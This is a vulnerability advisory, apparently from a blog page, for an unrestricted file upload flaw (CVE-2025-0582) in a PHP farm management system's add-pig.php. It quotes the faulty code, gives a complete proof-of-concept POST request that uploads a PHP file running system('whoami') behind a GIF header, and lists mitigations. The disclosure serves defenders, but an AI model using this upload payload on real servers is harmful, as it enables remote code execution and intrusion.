CVE-2025-0582

Itsourcecode Farm Management System In PHP v1.0 add-pig.php Unrestricted Upload

NAME OF AFFECTED PRODUCT(S)

  • Farm Management System In PHP

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • zzz,xiongbaojiang

Vulnerable File

  • add-pig.php

VERSION(S)

  • V1.0

PROBLEM TYPE

Vulnerability Type

  • Unrestricted Upload

Root Cause

In the add-pig.php file of the "Farm Management System In PHP" project, attackers can upload malicious code files through the parameter $res1_name. Due to the lack of proper validation and sanitation of the uploaded files, attackers are able to directly upload malicious files to the server, leading to the risk of arbitrary code execution.

Vulnerability Path

In the add-pig.php file of the "Farm Management System In PHP" project, attackers can upload malicious code files through the parameter $res1_name. Due to the lack of proper validation and sanitation of the uploaded files, attackers are able to directly upload malicious files to the server, leading to the risk of arbitrary code execution.

Key Parameter:

  • Parameter : $res1_name

  • File Name : farm management system/add-pig.php

  • Line Number: 37

    复制代码
    $res1_name = basename($_FILES['pigphoto']['name']);

File Upload:

  • Trigger Path: Arbitrary File Upload/Write

  • File Name : farm management system/add-pig.php

  • Line Number: 45

    move = move_uploaded_file(tmp_name, location.res1_name);

Vulnerability POC

复制代码
POST /farm123/add-pig.php HTTP/1.1
Host: farm
Content-Type: multipart/form-data; boundary=---------------------------85676068117477891701865867569
Content-Length: 1468

-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="pigno"

pig-fms-2793
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="weight"

1
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="arrived"

2024-12-17
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="gender"

male
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="status"

active
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="breed"

23
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="remark"

1
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="pigphoto"; filename="test.php"
Content-Type: application/octet-stream

GIF89a;

<?php 
system('whoami');
?>
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="submit"


-----------------------------85676068117477891701865867569--

Payload:

复制代码
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="pigphoto"; filename="test.php"
Content-Type: application/octet-stream

GIF89a;

<?php 
system('whoami');
?>

The following are screenshots of some specific information obtained from testing and running with the yakit tool:


复制代码
/uploadfolder/test.php

Recommendations for Vulnerability Mitigation

  1. File Type Validation: Limit the allowed file types (e.g., only allow image formats) before processing uploads.
  2. File Name Sanitization: Clean and rename uploaded files to avoid using user-provided names directly.
  3. Use Temporary Directory: Store uploaded files in a temporary directory and conduct security checks after processing.
  4. Permission Control: Ensure correct permission settings on the upload directory to prevent direct execution of uploaded files.
  5. Input Validation: Rigorously validate all user inputs to ensure security.
相关推荐
lubiii_2 小时前
网络安全渗透测试第一步信息收集
安全·web安全·网络安全
内心如初13 小时前
应急响应事件处理(网络安全体系架构与应急响应的前置知识)
安全·web安全
Suckerbin1 天前
TBBT: FunWithFlags靶场渗透
笔记·安全·web安全·网络安全
独行soc1 天前
2025年渗透测试面试题总结-67(题目+回答)
网络·python·安全·web安全·网络安全·adb·渗透测试
安卓开发者1 天前
鸿蒙NEXT的Web组件网络安全与隐私保护实践
前端·web安全·harmonyos
KKKlucifer1 天前
国家网络安全通报中心:重点防范境外恶意网址和恶意 IP
tcp/ip·安全·web安全
德迅云安全-小潘2 天前
网页防篡改技术:原理、应用与安全保障
web安全
独行soc2 天前
2025年渗透测试面试题总结-66(题目+回答)
java·网络·python·安全·web安全·adb·渗透测试
王火火(DDoS CC防护)2 天前
网站漏洞扫描要怎么处理?
web安全·网络安全
ZZHow10243 天前
CTF-Web手的百宝箱
web安全·网络安全